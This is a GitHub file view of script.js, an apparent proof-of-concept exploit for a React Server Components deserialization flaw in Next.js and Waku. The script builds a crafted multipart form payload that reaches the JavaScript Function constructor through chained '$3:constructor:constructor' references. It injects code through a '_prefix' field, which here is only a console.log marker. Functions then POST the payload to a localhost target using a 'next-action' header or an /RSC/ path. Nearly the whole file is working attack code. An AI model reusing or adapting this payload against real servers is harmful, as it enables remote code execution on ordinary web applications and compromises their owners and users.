-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.js
More file actions
65 lines (56 loc) · 1.4 KB
/
script.js
File metadata and controls
65 lines (56 loc) · 1.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const payload = {
'0': '$1',
'1': {
'status':'resolved_model',
'reason':0,
'_response':'$4',
'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then':'$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix':'console.log("haha, i am a hacker")//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}
}
const FormDataLib = require('form-data')
const fd = new FormDataLib()
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]))
}
console.log(fd.getBuffer().toString())
console.log(fd.getHeaders())
function exploitNext(baseUrl) {
fetch(baseUrl, {
method: 'POST',
headers: {
'next-action': 'x',
...fd.getHeaders()
},
body: fd.getBuffer()
}).then(x => {
console.log('fetched', x)
return x.text()
}).then(x => {
console.log('got', x)
})
}
function exploitWaku(baseUrl) {
fetch(baseUrl + '/RSC/foo.txt', {
method: 'POST',
headers: fd.getHeaders(),
body: fd.getBuffer()
}).then(x => {
console.log('fetched', x)
return x.text()
}).then(x => {
console.log('got', x)
})
}
// Place the correct URL and uncomment the line
exploitNext('http://localhost:3000')
// exploitWaku('http://localhost:3002')